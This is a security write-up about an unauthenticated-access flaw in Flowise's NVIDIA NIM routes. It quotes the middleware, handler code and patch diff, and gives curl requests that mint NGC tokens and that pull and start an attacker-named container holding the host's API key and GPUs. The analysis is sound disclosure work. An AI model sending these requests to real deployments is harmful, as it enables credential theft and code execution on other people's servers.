The whitelist is not a category
The middleware lives in packages/server/src/index.ts. It is the first thing inbound /api/v1/* traffic touches:
const denylistURLs = process.env.DENYLIST_URLS ? process.env.DENYLIST_URLS.split(',') : []
const whitelistURLs = WHITELIST_URLS.filter((url) => !denylistURLs.includes(url))
const URL_CASE_INSENSITIVE_REGEX: RegExp = /\/api\/v1\//i
const URL_CASE_SENSITIVE_REGEX: RegExp = /\/api\/v1\//
this.app.use(async (req, res, next) => {
if (URL_CASE_INSENSITIVE_REGEX.test(req.path)) {
if (URL_CASE_SENSITIVE_REGEX.test(req.path)) {
const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
if (isWhitelisted) {
next()
} else if (req.headers['x-request-from'] === 'internal') {
verifyToken(req, res, next)
} else {
// ...API key validation...
const { isValid, apiKey } = await validateAPIKey(req)
if (!isValid || !apiKey) {
return res.status(401).json({ error: 'Unauthorized Access' })
}
}
}
}
})
Three branches, in order. The whitelist branch fires first. Anything matching an entry in WHITELIST_URLS skips the other two. The x-request-from: internal branch routes UI traffic into JWT cookie verification. The fallthrough branch demands an API key. Whatever is on the whitelist is, by the middleware's behavior, fully public.
The 3.0.12 contents of the list, in packages/server/src/utils/constants.ts:
export const WHITELIST_URLS = [
'/api/v1/verify/apikey/',
'/api/v1/chatflows/apikey/',
'/api/v1/public-chatflows',
'/api/v1/public-chatbotConfig',
'/api/v1/public-executions',
'/api/v1/prediction/',
'/api/v1/vector/upsert/',
'/api/v1/node-icon/',
'/api/v1/components-credentials-icon/',
'/api/v1/chatflows-streaming',
'/api/v1/chatflows-uploads',
'/api/v1/openai-assistants-file/download',
'/api/v1/feedback',
'/api/v1/leads',
'/api/v1/get-upload-file',
'/api/v1/ip',
'/api/v1/ping',
'/api/v1/version',
'/api/v1/attachments',
'/api/v1/metrics',
'/api/v1/nvidia-nim',
'/api/v1/auth/resolve',
'/api/v1/auth/login',
'/api/v1/auth/refreshToken',
// ... account flows, OAuth callbacks, SSO URIs ...
]
The list is a mix of categories. Login, register, password recovery, OAuth callbacks have to be reachable without authentication, by definition; you cannot ask someone to log in to log in. Health probes (/ip, /ping, /version) have to answer the load balancer before the load balancer has decided to forward traffic. Public-chatflow and public-chatbot-config endpoints exist because Flowise has a publish-to-the-web sharing model, and those routes carry their own per-resource tokens enforced inside the handler rather than at the middleware.
These are three semantic categories. They share the same enforcement: the global middleware skips them. The list combines them by accident, because each was added at a different time under its own justification, and the constant is what the middleware reads at request time.
/api/v1/nvidia-nim is on the list because somebody added it. The reason does not survive in the constant's name. The middleware does not read why an entry is on the list. It reads that one is.
What the prefix exempts
The route file is sixteen lines, in packages/server/src/routes/nvidia-nim/index.ts:
import express from 'express'
import nimController from '../../controllers/nvidia-nim'
const router = express.Router()
router.get('/preload', nimController.preload)
router.get('/get-token', nimController.getToken)
router.get('/download-installer', nimController.downloadInstaller)
router.get('/list-running-containers', nimController.listRunningContainers)
router.post('/pull-image', nimController.pullImage)
router.post('/start-container', nimController.startContainer)
router.post('/stop-container', nimController.stopContainer)
router.post('/get-image', nimController.getImage)
router.post('/get-container', nimController.getContainer)
export default router
The router is mounted at /api/v1/nvidia-nim by packages/server/src/routes/index.ts. Every handler under it inherits the whitelist exemption, because req.path.startsWith('/api/v1/nvidia-nim') is true for all of them.
Three handlers do work that does not belong on a public surface.
getToken calls NVIDIA's NGC token service from inside the Flowise process and returns the token to the caller:
const getToken = async (req: Request, res: Response, next: NextFunction) => {
try {
const headers = {
'Content-Type': 'application/json',
Accept: 'application/json'
}
const data = {
client_id: 'Flowise',
pdi: '0x1234567890abcdeg',
access_policy_name: 'nim-dev'
}
const response = await axios.post('https://nts.ngc.nvidia.com/v1/token', data, { headers })
const responseJson = response.data
return res.json(responseJson)
} catch (error) {
next(error)
}
}
The body is hardcoded. The PDI value is a placeholder; the trailing g is not a hex digit. NVIDIA's token service accepts the request and issues a bearer token tied to client_id: 'Flowise'. The handler hands that token back to whoever asked. Every Flowise instance reachable on the public internet is now a free NGC-token-minting proxy on the Flowise client_id quota. The PoC's validate_token_against_nvidia() confirms this by replaying the token against https://integrate.api.nvidia.com/v1/models and listing the inference models the token unlocks.
startContainer calls into flowise-nim-container-manager, which translates the request into a Podman libpod call:
const container = await manager.podmanRequest(
"/libpod/containers/create",
"POST",
{
image: imageTag,
terminal: true,
stdin: true,
env: {
NGC_API_KEY: manager.ngcApiKey,
LOCAL_NIM_CACHE: manager.localNimCache,
NIM_RELAX_MEM_CONSTRAINTS: String(nimRelaxMemConstraints),
},
portmappings: [{
container_port: 8000,
host_port: hostPort,
host_ip: "0.0.0.0",
protocol: "tcp",
}],
mounts: [{
Source: NimContainerManager.toUnixPath(manager.localNimCache),
Destination: "/opt/nim/.cache",
type: "bind",
}],
shm_size: 17179869184,
devices: [{ path: "nvidia.com/gpu=all", type: "gpu" }],
}
)
imageTag is the request body. The container is created with all GPUs mounted, the host's NIM cache bind-mounted as /opt/nim/.cache, and the host's NGC API key passed as NGC_API_KEY in the environment. The port is bound to 0.0.0.0 on the host. There is no allowlist on imageTag. There is no allowlist on what the started container does.
listRunningContainers returns every running container on the host's container runtime:
static async listRunningContainers() {
const manager = new NimContainerManager();
if (!manager.client)
throw new Error("Container runtime client not available");
const containers = await manager.client.listContainers({ all: true });
return containers
.filter((container) => container.State === "running")
.map((container) => ({
id: container.Id,
name: container.Names[0].replace("/", ""),
status: container.State,
image: container.Image,
baseUrl: `http://${manager.wslContainerService.ip}:${port}/v1`,
port: port,
}));
}
The filter is State === "running". There is no filter on image, name, or label. If the host runs anything else under the same Podman or Docker daemon, those containers are listed too, with the WSL container service's internal IP and port included in the baseUrl field. The handler is named for NIM containers. The listing is for all containers.
The unauthenticated request
The cheapest exploit is a single GET, no headers, no body, no session:
curl -k 'https://target:3000/api/v1/nvidia-nim/get-token'
Response:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
"token_type": "Bearer",
"expires_in": 3600
}
The token is valid against https://integrate.api.nvidia.com/v1/models and the model inference endpoints below it. The blast radius is not on the Flowise host. It is on NVIDIA's Flowise client_id, which any Flowise instance on the public internet now mints from on demand for any unauthenticated caller.
The container chain is two requests:
curl -k -X POST 'https://target:3000/api/v1/nvidia-nim/pull-image' \
-H 'Content-Type: application/json' \
-d '{"imageTag":"nvcr.io/nim/attacker/payload:latest","apiKey":""}'
curl -k -X POST 'https://target:3000/api/v1/nvidia-nim/start-container' \
-H 'Content-Type: application/json' \
-d '{"imageTag":"nvcr.io/nim/attacker/payload:latest","apiKey":"","hostPort":8000,"nimRelaxMemConstraints":1}'
pullImage normalizes the tag with imageTag.startsWith("nvcr.io/nim") ? imageTag : "nvcr.io/nim/" + imageTag. The attacker chooses a name under the nvcr.io/nim namespace. The pull authenticates against NGC with the host's stored NGC API key. The image lands on the host's container runtime. startContainer then hands the same tag to Podman with devices: nvidia.com/gpu=all. The container starts with the host's NGC key in its environment, the host's NIM cache writable from inside it, and a port bound to 0.0.0.0.
The Podman socket the manager talks to is the host's. The container that comes up is a peer to every other container on that host.
The patch fixes more than the CVE
The 3.0.13 diff against packages/server/src/utils/constants.ts:
export const WHITELIST_URLS = [
'/api/v1/public-chatbotConfig',
'/api/v1/public-executions',
'/api/v1/prediction/',
- '/api/v1/vector/upsert/',
'/api/v1/node-icon/',
'/api/v1/components-credentials-icon/',
'/api/v1/chatflows-streaming',
@@ -23,8 +22,6 @@ export const WHITELIST_URLS = [
'/api/v1/ping',
'/api/v1/version',
'/api/v1/attachments',
- '/api/v1/metrics',
- '/api/v1/nvidia-nim',
'/api/v1/auth/resolve',
'/api/v1/auth/login',
'/api/v1/auth/refreshToken',
@@ -57,7 +54,10 @@ export const WHITELIST_URLS = [
GithubSSO.CALLBACK_URI
]
+export const API_KEY_BLACKLIST_URLS = ['/api/v1/nvidia-nim']
The patch removes three lines from WHITELIST_URLS. CVE-2026-30824 names one of them. The other two are not flagged in the changelog and have no public CVE assignment that surfaces under the 3.0.13 release notes.
/api/v1/vector/upsert/ is the chatflow vector-upsert endpoint. With it on the whitelist, anyone reachable to the Flowise host can write embeddings into a chatflow's retrieval index without authentication. That is content the chatflow's RAG pipeline reads back as authoritative reference material on every subsequent query.
/api/v1/metrics is the Prometheus scrape endpoint. With it on the whitelist, the metrics output, including per-route counters, response time histograms, and per-tenant labels, is scrapable by any unauthenticated caller. It was on the list because the developer did not want Prometheus's scraper to need an API key.
Three different routes. Three different reasons for being on the list. Three different unauthenticated impacts. The CVE picked the loudest one.
The criterion the original list did not have
The new constant in 3.0.13 is API_KEY_BLACKLIST_URLS = ['/api/v1/nvidia-nim']. The middleware reads it after the whitelist branch and after the x-request-from: internal JWT branch:
} else {
const isAPIKeyBlacklistedURLS = API_KEY_BLACKLIST_URLS.some((url) => req.path.startsWith(url))
if (isAPIKeyBlacklistedURLS) {
return res.status(401).json({ error: 'Unauthorized Access' })
}
// ... API key validation continues ...
}
The semantic of the new list is, "API keys may not be used for these paths; the only acceptable caller is the Flowise UI itself, which sends x-request-from: internal plus a JWT cookie." The intent of the original developer was a route the UI could call that nothing else could call. The mechanism for expressing that intent existed in the codebase already; the JWT branch was already there. They did not use it. They used the whitelist, because the whitelist was the simpler thing to add a line to.
PR #3966 introduced the route on 2025-02-27. The diff that introduced the bug:
'/api/v1/version',
'/api/v1/attachments',
- '/api/v1/metrics'
+ '/api/v1/metrics',
+ '/api/v1/nvidia-nim'
One line. The reviewer saw the new entry sitting next to /api/v1/metrics, which was already on the list, also wrong, also removed in the same 3.0.13 patch, and approved. The line lived in production for fourteen months.
The shape
The catalog already names this. WHITELIST_URLS is the routing-table instance of internal-only-by-convention: a channel whose "internal" status is held by the historical reasons each entry was added, read with full security authority on every inbound network request, with no enforced boundary between what belongs on it and what does not. cPanel's session file is a bus that internal flows write to and authority gates read from. GitHub Enterprise's X-Stat header is a string the proxy writes and the RPC reads. KTransformers' ZeroMQ socket is bound to every interface because the framework's only caller was already on localhost. The shape recurs because the same architectural shortcut keeps getting taken: a list, a header, a file, a socket, named for the convention its first author held in their head, used as enforcement by every reader since.
The fix in 3.0.13 does not document WHITELIST_URLS's selection criterion. The fix removes three entries that should not have been on it, and creates a second list whose name is what the original needed. The next entry that should not be on the whitelist is the entry that gets added next.
PoC: dylvie/CVE-2026-30824-Flowise-NVIDIA-NIM-Authentication
The patch removes three lines. The CVE names one.